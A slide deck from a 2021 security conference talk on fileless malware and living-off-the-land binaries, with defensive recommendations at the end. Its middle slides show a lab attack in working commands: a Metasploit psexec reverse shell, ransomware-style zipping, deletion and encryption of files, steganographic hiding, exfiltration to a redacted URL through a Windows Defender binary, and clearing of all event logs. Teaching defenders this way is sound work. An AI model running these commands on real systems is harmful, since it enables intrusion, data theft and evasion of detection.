



# id -un



## Juan Araya Cloud Security Architect

Bachelor in Computer Science, Universidad de Costa Rica



Master in Cybersecurity CEUPE, España

<https://www.linkedin.com/in/juaraya/>

# Agenda

- Introduction
- Fileless malware
- Living-off-The-Land
- LOLbins
- How it works
- Recommendations

# Malware



# Social engineering for malware distribution

Malwarebytes Cybersecurity for | x +

malwarebytes-free.com

Malwarebytes

FREE DOWNLOAD

## Introducing Malwarebytes 4.0

Smarter, faster, and lighter than ever before.

We redesigned Malwarebytes for Windows inside and out to be more intuitive, tougher against threats, and easier on your PC.

FREE DOWNLOAD

**FAKE!!**

view-source:https://malwarebyte: x +

view-source:https://malwarebytes-free.com

```
<script type="text/javascript">
if(navigator.appName.indexOf("Internet Explorer")!=-1 || navigator.userAgent.match(/Trident.*rv[ :]*11\\.../))
{
//This user uses Internet Explorer
window.location = "https://huston4u.london/qbj1z/Thawable/Vewxd/chiefs?Q3R4=precoil-baldpate-arriver&Xtdw=T37"
```

- Are you a friend of Amazon? Become one now Spam x


Best deal <BD@mrs.formulamarket.xyz> Sun, Oct 25, 1:38 AM (3 days ago) ☆ ↶ ⋮

Why is this message in spam? It is similar to messages that were identified as spam in the past.

Report not spam

**- Amazon rewards - take a quick survey**


Can't view images? Click here




# Fileless malware

Aka “Zero Footprint attacks” or “bodiless malware”

Execution of malware **directly to memory.**



WMI  
Windows Management  
Instrumentation



# Powershell



Trusted Windows component  
and scripting language

## Cmdlet

Get-Host  
Get-Command  
Invoke-Expression  
Get-ExecutionPolicy

Windows PowerShell

```
PS C:\Users\ [redacted] \Documents\Bsides> copy-item .\Beta_Source_code.py [redacted] source_code_backup
```

Automation

Maintenance

Configuration  
Management  
Framework

# Windows Management Instrumentation

Information gathering and remote management



Query/command WMI WQL



Response/action WMI



OOO:  
Namespace+  
Classes+ Instances.

Hard drive

Web servers

NICs

Windows registry...



# WMI + Powershell



```
PS C:\Windows\system32> Get-Command -Noun WMI*
Get-Command -Noun WMI*
```

<u>CommandType</u>	<u>Name</u>	<u>Version</u>	<u>Source</u>
Cmdlet	Get-WmiObject	3.1.0.0	Microsoft.PowerShell.Management
Cmdlet	Invoke-WmiMethod	3.1.0.0	Microsoft.PowerShell.Management
Cmdlet	Register-WmiEvent	3.1.0.0	Microsoft.PowerShell.Management
Cmdlet	Remove-WmiObject	3.1.0.0	Microsoft.PowerShell.Management
Cmdlet	Set-WmiInstance	3.1.0.0	Microsoft.PowerShell.Management



# CMI+ WMI+ Powershell



## Common Information Model for accessing WMI from Powershell

```
PS C:\Windows\system32> Get-Command -Module CimCmdlets  
Get-Command -Module CimCmdlets
```

CommandType	Name	Version	Source
Cmdlet	Export-BinaryMiLog	1.0.0.0	CimCmdlets
Cmdlet	Get-CimAssociatedInstance	1.0.0.0	CimCmdlets
Cmdlet	Get-CimClass	1.0.0.0	CimCmdlets
Cmdlet	Get-CimInstance	1.0.0.0	CimCmdlets
Cmdlet	Get-CimSession	1.0.0.0	CimCmdlets
Cmdlet	Import-BinaryMiLog	1.0.0.0	CimCmdlets
Cmdlet	Invoke-CimMethod	1.0.0.0	CimCmdlets
Cmdlet	New-CimInstance	1.0.0.0	CimCmdlets
Cmdlet	New-CimSession	1.0.0.0	CimCmdlets
Cmdlet	New-CimSessionOption	1.0.0.0	CimCmdlets
Cmdlet	Register-CimIndicationEvent	1.0.0.0	CimCmdlets
Cmdlet	Remove-CimInstance	1.0.0.0	CimCmdlets
Cmdlet	Remove-CimSession	1.0.0.0	CimCmdlets
Cmdlet	Set-CimInstance	1.0.0.0	CimCmdlets



# CMI+ WMI+ Powershell



## wmi queries from Powershell

```
PS C:\Windows\system32> Get-WMIObject Win32_LogicalDisk
Get-WMIObject Win32_LogicalDisk
```

```
DeviceID      : C:
DriveType     : 3
ProviderName  :
FreeSpace     : 26081210368
Size          : 42947571712
VolumeName    : Windows 10
```

Home

```
PS C:\Windows\system32> gwmi -query "Select * from Win32_LogicalDisk"
gwmi -query "Select * from Win32_LogicalDisk"
```

```
DeviceID      : C:
DriveType     : 3
ProviderName  :
FreeSpace     : 26069209088
Size          : 42947571712
VolumeName    : Windows 10
```



# Fileless malware with Powershell



## Cmdlet

Get-Host

Get-Command

Invoke-Expression

Get-ExecutionPolicy

- Fingerprinting
- Information leakage
- File encryption and deletion
- Backdoors
- Affect Log integrity
- Play around with AD and Exchange

```
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6


PS C:\Users\ [redacted] Get-ExecutionPolicy
Restricted
PS C:\Users\ [redacted] Set-ExecutionPolicy unrestricted

Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): 
```

# Fileless malware with Powershell

```
Windows PowerShell
PS C:\Users\[redacted] > gwmi Win32_Group | fl * | more

PSCOMPUTERNAME : [redacted]
STATUS         : OK
NAME          : Administrators
__GENUS       : 2
__CLASS       : Win32_Group
__SUPERCLASS  : Win32_Account
__DYNASTY     : CIM_ManagedSystemElement
__RELPATH     : Win32_Group.Domain="[redacted]",Name="Administrators"
__PROPERTY_COUNT : 9
__DERIVATION  : {Win32 Account, CIM_LogicalElement, CIM_ManagedSystemElement}
__SERVER      : [redacted]
__NAMESPACE  : root\cimv2
__PATH        : \\[redacted]\root\cimv2:Win32_Group.Domain="[redacted]",Name="Administrators"
Caption       : [redacted] Administrators
Description   : Administrators have complete and unrestricted access to the computer/domain
Domain        : [redacted]
InstallDate   :
```



# Fileless malware with Powershell

```
Windows PowerShell
PS C:\Users\ [redacted] systeminfo

Host Name: [redacted]
OS Name: Microsoft Windows 10 Home
OS Version: 10.0.19042 N/A Build 19042
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: [redacted]
Registered Organization: [redacted]
Product ID: 00325-81548-87862-AAOEM
Original Install Date: 21/12/2020, 12:49:08
System Boot Time: 21/03/2021, 13:44:34
System Manufacturer: [redacted]
System Model: [redacted]
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
               [01]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~2592 Mhz
BIOS Version: AMI F.35, 04/11/2020
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-gb;English (United Kingdom)
Input Locale: es;Spanish (Traditional Sort)
Time Zone: (UTC+01:00) Brussels, Copenhagen, Madrid, Paris
Total Physical Memory: 16,261 MB
Available Physical Memory: 6,020 MB
Virtual Memory: Max Size: 28,037 MB
Virtual Memory: Available: 6,253 MB
Virtual Memory: In Use: 21,784 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \\LAPTOP-6VA8UJP6
Hotfix(s): 10 Hotfix(s) Installed.
           [01]: KB4601554
           [02]: KB4562830
           [03]: KB4577586
           [04]: KB4580325
           [05]: KB4589212
           [06]: KB4593175
           [07]: KB4598481
```



# WMI CLI

WMI  
Windows Management  
Instrumentation



```
C:\Windows\system32>wmic os get
wmic os get
BootDevice          BuildNumber  BuildType      Caption
e CSDVersion  CSName       CurrentTimeZon DataExecutionPrevention_32BitApplications
tionPrevention_SupportPolicy Debug  Description  Distributed  EncryptionLevel Foregro
ory InstallDate      LargeSystemCache LastBootUpTime      LocalDateT
sMemorySize  MUILanguages  Name
  OperatingSystemSKU  Organization  OSArchitecture  OSLanguage  OSProductSuite  OSType
eratingSystem  Primary  ProductType  RegisteredUser  SerialNumber      ServicePa
Mask SystemDevice      SystemDirectory      SystemDrive  TotalSwapSpaceSize To
\Device\HarddiskVolume1 17763      Multiprocessor Free  Microsoft Windows 10 Enterpr
em
      MSEDGEWIN10 -420      TRUE
      FALSE      FALSE      256      2
20190319034812.000000-420      20201107024059.940556-420 2020110703
344 {"en-US"}      Microsoft Windows 10 Enterprise Evaluation|C:\Windows|\Devic
72      Microsoft      64-bit      1033      256      18
      TRUE      1      00329-20000-00001-AA236 0
\Device\HarddiskVolume1 C:\Windows\system32 C:      32
```



# WMI CLI

```
C:\Windows\system32>wmic product get
wmic product get
AssignmentType Caption Description Help
HelpTelephone IdentifyingNumber
FileSystem InstallDate InstallDate2 InstallLocation InstallState Language Local
urce
e Name PackageCache
ackageCode PackageName ProductID RegCompar
Owner SKUNumber Transforms URLInfoAbout URLUpdateInfo Vendor
on WordCount
1 Puppet (64-bit) Puppet (64-bit) htt
nks.puppetlabs.com/customer-support-foss {C132DF61-207E-4C59-90BE
2E1A754} 20190319 C:\Program Files\Puppet Labs\Puppet\ C:\
IEUser\AppData\Local\Temp\chocolatey\puppet\3.8.7\ 5 1033 C:\Wi
Installer\15d8f.msi Puppet (64-bit) C:\Windows\Installer\15d8f.n
3C012C73-AA19-4D1F-91F3-7C917D8D3BCD} puppet-3.8.7-x64.msi
Puppet Labs
0
1 Microsoft Update Health Tools Microsoft Update Health Tools
{56968E15-E9B0-432D-BBE1
D157C5A} 20201106 C:\
s\TEMP\ 5 0 C:\Wi
Installer\38350c.msi Microsoft Update Health Tools C:\Windows\Installer\38350c.
E6ED65AA-663F-4C4B-A85B-E8879EA59DFD} UpdHealthTools.msi
```

## WMI

Windows Management  
Instrumentation





# WMI CLI

WMI  
Windows Management  
Instrumentation



```
C:\Windows\system32>wmic process list brief
```

```
wmic process list brief
```


HandleCount	Name		Priori
0	System	System Idle Process	0
0	0	1 8192	
2050	System		8
4	4	90 159744	
0	Registry		8
68	68	4 24981504	
53	smss.exe		13
300	300	2 987136	
348	csrss.exe		13
388	388	9 4038656	
168	wininit.exe		13
456	456	1 5664768	
311	csrss.exe		13
464	464	10 4018176	
340	services.exe		9
520	520	6 6582272	
1152	lsass.exe		9
548	548	7 12996608	
265	winlogon.exe		13



# Living-off-The-Land(aka LOL)

Legitimate and useful existing tools against target

- Monitoring
- Backup support
- Task automation
- Service management
- Network management
- Account management
- Download of legitimate tools



# Lolbas(Binaries and Scripts)

Using existing legitimate scripts, binaries and libraries

powershell.exe	Advpack.dll
bitsadmin.exe	Desk.cpl.dll
certutil.exe	leadvpack.dll
psexec.exe	leframe.dll
wmic.exe	Mshtml.dll
mshta.exe	Pcwutl.dll
mofcomp.exe	Shdocvw.dll
cmstp.exe	Zipfldr.dll
windbg.exe	Shell32.dll
cdb.exe	Setupapi.dll
msbuild.exe	Url.dll
csc.exe	Zipfldr.dll
regsvr32.exe	

```
Command Prompt
Volume in drive C is Windows
Volume Serial Number is CC89-999F

Directory of C:\Users\██████████\Documents\BSIDES

23/03/2021  12:55  <DIR>          .
23/03/2021  12:55  <DIR>          ..
23/03/2021  12:58                16 Beta_Source_code.py
                1 File(s)              16 bytes
                2 Dir(s)  139,561,930,752 bytes free


C:\Users\██████████\Documents\BSIDES>certutil -encode Beta_Source_code.py vpn.crt
Input Length = 16
Output Length = 82
CertUtil: -encode command completed successfully.

C:\Users\██████████\Documents\BSIDES>dir
Volume in drive C is Windows
Volume Serial Number is CC89-999F

Directory of C:\Users\██████████\Documents\BSIDES




23/03/2021  12:58  <DIR>          .
23/03/2021  12:58  <DIR>          ..
23/03/2021  12:58                16 Beta_Source_code.py
23/03/2021  12:58                82 vpn.crt
                2 File(s)              98 bytes
                2 Dir(s)  139,541,454,848 bytes free
```

# Fileless malware attack



- Scripts
- Libraries
- Binaries

# Hooking



# Persistence with fileless malware



```
powershell -noexit -command &{get-process >
```

```
PS C:\Users\TCS_jaraya> cd HKLM:\
PS HKLM:\> set-location -path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\
PS HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\> Get-childitem
```

Hive: HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

SKC	VC	Name	Property
		App Management	
		App Paths	
		Applets	
		Audio	(EnableCaptureMonitor, EnableLogonHID...
		Authentication	
		BitLocker	(IsBdeDriverPresent)
		BITS	(JobInactivityTimeout, JobMinimumRetr...
		Census	(StartTime, ReturnCode, RunCounter, M...
		Component Based Servicing	(EnableDpxLog, EnableLog, NextExecuti...
		Control Panel	
		Controls Folder	

Schtasks.exe

```
CA: C:\WINDOWS\system32\cmd.exe - p
```

```
Carpeta: \Micro\Windows\Time Synchronization
Nombre de tarea: SynchronizeTime
Hora próxima ejecución: 08/11/2020 1:00:00
Estado: Listo
```

# Fileless malware attack

```
msf6 exploit(windows/smb/psexec) > show options
```

```
Module options (exploit/windows/smb/psexec):
```

Name	Current Setting	Required	Description
RHOSTS	10.0.2.4	yes	The target host(s), range CIDR identifier, or hosts f
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to be used on target for prett
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SHARE		no	The share to connect to, can be an admin share (ADMIN
SMBDomain		no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as

```
Home
```

```
Payload options (windows/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	10.0.2.5	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
0	Automatic

```
Exploit target:
```

Id	Name
0	Automatic

```
msf6 exploit(windows/smb/psexec) > exploit
```

```
[*] Started reverse TCP handler on 10.0.2.5:4444  
[*] 10.0.2.4:445 - Connecting to the server ...  
[*] 10.0.2.4:445 - Authenticating to 10.0.2.4:445 as user '██████' ...  
[*] 10.0.2.4:445 - Selecting PowerShell target  
[*] 10.0.2.4:445 - Executing the payload ...  
[*] 10.0.2.4:445 - Service start timed out, OK if running a command or non-service executable ...  
[*] Sending stage (175174 bytes) to 10.0.2.4  
[*] Meterpreter session 2 opened (10.0.2.5:4444 → 10.0.2.4:49742) at 2020-11-06 17:27:01 -0500
```

```
meterpreter > shell  
Process 5332 created.  
Channel 1 created.  
Microsoft Windows [Version 10.0.17763.379]  
(c) 2018 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>powershell  
powershell  
Windows PowerShell  
Copyright (C) Microsoft Corporation. All rights reserved.
```

```
PS C:\Windows\system32> █
```

# Fileless malware attack

Look for relevant files or data

- PII
- Xlxs
- PDFs
- Backups
- Logs
- documents....

```
kali@kali: ~  
d-r---      3/19/2019   4:27 AM      Contacts  
d-r---      3/19/2019   4:27 AM      Desktop  
d-r---      11/6/2020   2:45 PM      Documents  
d-r---      3/19/2019   4:27 AM      Downloads  
d-r---      3/19/2019   4:27 AM      Favorites  
d-r---      3/19/2019   4:27 AM      Links  
d-r---      3/19/2019   4:27 AM      Music  
d-r---      11/6/2020   2:26 PM      OneDrive  
d-r---      3/19/2019   4:27 AM      Pictures  
d-r---      3/19/2019   4:27 AM      Saved Games  
d-r---      3/19/2019   4:27 AM      Searches  
d-r---      3/19/2019   4:27 AM      Videos  
-a-----      3/19/2019   4:32 AM      5 .vbox_version  
  
PS C:\Users\IEUser> cd Documents  
cd Documents  
PS C:\Users\IEUser\Documents> dir  
dir  
  
Directory: C:\Users\IEUser\Documents  
  
Mode                LastWriteTime         Length Name  
----                -  
d-----            3/19/2019   4:29 AM                WindowsPowerShell  
-a-----            11/6/2020   2:45 PM                16 customers.txt  
-a-----            11/6/2020   2:45 PM                50 servers.txt  
  
PS C:\Users\IEUser\Documents>
```




# Fileless malware attack

## Zipping the data

```
PS C:\Users\IEUser\Documents> Compress-Archive -Path C:\Users\IEUser\Documents -DestinationPath C:\Users\IEUser\Downloads\gold.zip  
Compress-Archive -Path C:\Users\IEUser\Documents -DestinationPath C:\Users\IEUser\Downloads\gold.zip
```



```
PS C:\Users\IEUser\Documents> █
```



# Fileless malware attack

Delete original files!

```
PS C:\Users\IEUser\Downloads> Remove-Item C:\Users\IEUser\Documents\*.*  
Remove-Item C:\Users\IEUser\Documents\*.*  
  
PS C:\Users\IEUser\Downloads> █
```



# Fileless malware attack



Check status of encryption service using WMI and Powershell

```
PS C:\Windows\system32> gwmi -query "Select * from Win32_Service where state='Running' and name='CryptSvc'"  
gwmi -query "Select * from Win32_Service where state='Running' and name='CryptSvc'"
```

```
ExitCode : 0  
Name : CryptSvc  
ProcessId : 1092  
StartMode : Auto  
State : Running  
Status : OK
```

```
PS C:\Windows\system32> █
```

# Fileless malware attack

Check encryption status

```
PS C:\Users\IEUser\Downloads> cipher
cipher

Listing C:\Users\IEUser\Downloads\
New files added to this directory will not be encrypted.

U GOLD.zip
PS C:\Users\IEUser\Downloads> █
```

Create your own keys and certificate

```
PS C:\Users\IEUser\Downloads> cipher /r:llaves
cipher /r:llaves
Please type in the password to protect your .PFX file:
Your .CER file was created successfully.
Your .PFX file was created successfully.
```

# Fileless malware attack

## Encrypt the file

```
PS C:\Users\IEUser\Downloads> cipher
cipher

Listing C:\Users\IEUser\Downloads\
New files added to this directory will not be encrypted.

U GOLD.zip
U llaves.CER
U llaves.PFX

PS C:\Users\IEUser\Downloads> cipher /e GOLD.zip
cipher /e GOLD.zip

Encrypting files in C:\Users\IEUser\Downloads\
GOLD.zip [OK]

1 file(s) [or directorie(s)] within 1 directorie(s) were encrypted.

Converting files from plaintext to ciphertext may leave sections of old
plaintext on the disk volume(s). It is recommended to use command
CIPHER /W:directory to clean up the disk after all converting is done.
PS C:\Users\IEUser\Downloads> cipher
cipher

Listing C:\Users\IEUser\Downloads\
New files added to this directory will not be encrypted.

E GOLD.zip
U llaves.CER
U llaves.PFX
PS C:\Users\IEUser\Downloads> █
```


## Remove any remaining in plaintext

```
PS C:\Users\IEUser\Downloads> cipher /W:C:\Users\IEUser\Downloads
cipher /W:C:\Users\IEUser\Downloads
To remove as much data as possible, please close all other applications while
running CIPHER /W.
Writing 0x00
█
```

# Fileless malware attack

Create a cover file to hide the zip file.

```
PS C:\Users\IEUser\Documents> cd ..  
cd ..  
  
PS C:\Users\IEUser> cd Downloads  
cd Downloads  
  
PS C:\Users\IEUser\Downloads> fsutil file createnew paseo.bmp 58800  
fsutil file createnew paseo.bmp 58800  
File C:\Users\IEUser\Downloads\paseo.bmp is created  
  
PS C:\Users\IEUser\Downloads> █
```



# Fileless malware attack


Hide the zip file in the cover file (steganography)

CMD

```
Copy /b GOLD.zip + paseo.bmp playa.bmp
```

Powershell

```
Remove-item GOLD.ZIP  
Remote-item paseo.bmp
```



# Having fun with LOLbins

Windows Defender  
ConfigSecurityPolicy

```
C:\Program Files\Windows Defender>ConfigSecurityPolicy.exe C:\\Users\\IE  
User\\Downloads\\playa.bmp https://[REDACTED]
```



# Deleting your tracks....

```
PS C:\Users\IEUser\Downloads> Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }
Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }
PS C:\Users\IEUser\Downloads> █
```

MSEdge - Win10 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Event Viewer

File Action View Help

Event Viewer (Local)

- Custom Views
- Windows Logs
  - Application
  - Security
  - Setup
  - System
  - Forwarded Events
- Applications and Services Logs
- Subscriptions

Security Number of events: 7,932

Keywor...	Date and Time	Source	Event ID	Task Ca...
Audit...	11/7/2020 1:47:29 AM	Micros...	4672	Special ...
Audit...	11/7/2020 1:47:05 AM	Micros...	4799	Security...
Audit...	11/7/2020 1:47:05 AM	Micros...	4799	Security...
Audit...	11/7/2020 1:46:33 AM	Micros...	4634	Logoff
Audit...	11/7/2020 1:46:30 AM	Micros...	4624	Logon
Audit...	11/7/2020 1:46:30 AM	Micros...	4672	Special ...
Audit...	11/7/2020 1:45:24 AM	Micros...	4672	Special ...
Audit...	11/7/2020 1:45:24 AM	Micros...	4624	Logon

Event 4624, Microsoft Windows security auditing.

General Details

Friendly View  XML View

ProcessName -

IpAddress 10.0.2.5

IpPort 42791

ImpersonationLevel %%1833

MSEdge - Win10 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Event Viewer

File Action View Help

Event Viewer (Local)

- Custom Views
- Windows Logs
  - Application
  - Security
  - Setup
  - System
  - Forwarded Events
- Applications and Services Logs
- Subscriptions

Security Number of events: 1

Keywor...	Date and Time	Source	Event ID	Task Ca...
Audit...	11/7/2020 5:24:41 AM	Eventlog	1102	Log clear

Event 1102, Eventlog

General Details

The audit log was cleared.

Subject

Security ID: SYSTEM

Log Name: Security

Source: Eventlog

Event ID: 1102

Level: Information

User: N/A

OpCode: Info

Logged: 11/7/2020 5:24:41 AM


Task Category: Log clear

Keywords: Audit Success

Computer: MSEDEWIN10


More Information: [Event Log Online Help](#)

I was here....



The screenshot shows a text editor window titled 'Hola.txt'. The main content area displays a hex dump of the text 'I was here....'. The text is rendered in a monospaced font where each character is represented by its hexadecimal value. The characters are: 'I' (0x49), ' ' (0x20), 'w' (0x77), 'a' (0x61), 's' (0x73), ' ' (0x20), 'h' (0x68), 'e' (0x65), 'r' (0x72), 'e' (0x65), '.' (0x2E), '.' (0x2E), '.' (0x2E), and '.' (0x2E). The hex dump is displayed in a light gray font on a white background. The status bar at the bottom of the window shows 'Plain Text', 'Spaces: 4', 'Ln 8, Col 1', and 'INS'.

# Recommendations




**Cybersecurity awareness Training** to avoid social engineering attacks

Cybersecurity evaluations

Penetration testing using social engineering(BEEF+ SET+ Metasploit).

# Recommendations



AV and EDR

Detection and mitigation

Communication system security(email, chat)..

**Behaviour analytics y machine learning:**

- New services
- Changes on windows registry
- Application monitoring

# Recommendations

Endpoint Detection and Response security(EDR) to detect and mitigate LOLBINS

The screenshot shows the Windows Task Manager interface. The process list includes: sms.exe, winlogon.exe, userinit.exe, explorer.exe, cmd.exe, and powershell.exe. The powershell.exe process is selected, and its details are shown in a red-bordered box. The details include:

- ASSOCIATED BEHAVIORS**
- Medium Severity Suspicious Activity was prevented**  
A suspicious process related to a likely malicious file was launched.
- High Severity Suspicious Activity**  
A powershell process executed compressed, encoded command line content.
- Medium Severity Known Malware**  
Metasploit's meterpreter server may have been loaded into a process.

12:17	Remote access to sea-addc-005	Abnormal access to sea-addc-005 for Fredric Weber	+10
12:32	2x Remote access		
12:54	Remote access to kt_file_116_prod	Abnormal access to kt_file_116_prod for Fredric Weber	+10
12:57	Remote access to kt_file_118_prod	Abnormal access to kt_file_118_prod for Fredric Weber	+10
13:13	Remote access to srv_fileapp_3	First access to srv_fileapp_3 for Fredric Weber	+10
13:20	Remote access to kt-sg200-wp1	Abnormal access to kt-sg200-wp1 for Fredric Weber	+10
13:51	2x Remote access		
14:42	Kerberos logon to It-fweber-888		
14:46	Palo Alto Networks alert  Malware found on host on It-fweber-888	Security Alert Malware found on host on asset It-fweber-888 during a VPN session	+40
		First security alert with name Malware found on host for the organization	+10
14:48	Kerberos logon to It-fweber-888		
16:21	Remote access to us-apps-dev1		
2:21	VPN logout		


# Recommendations




## Minimalism

- Scripting control
- Separation of duties
- Management tools
- PAM(Privileged Access Management)

# Recommendations



Enable Powershell commands execution using Group policy editor



SIEM

# Recommendations



- Patch management
  - Hot fixes
  - New features
  - Updates
  - Software inventory



# Recommendations

- Security in Depth



Network security  
Endpoint security  
Application security  
OS security  
DLPs  
Awareness

¡Pura Vida!  
Thank you!

Speaker: Juan Araya  
[www.linkedin.com/in/juaraya](https://www.linkedin.com/in/juaraya)  
March 2021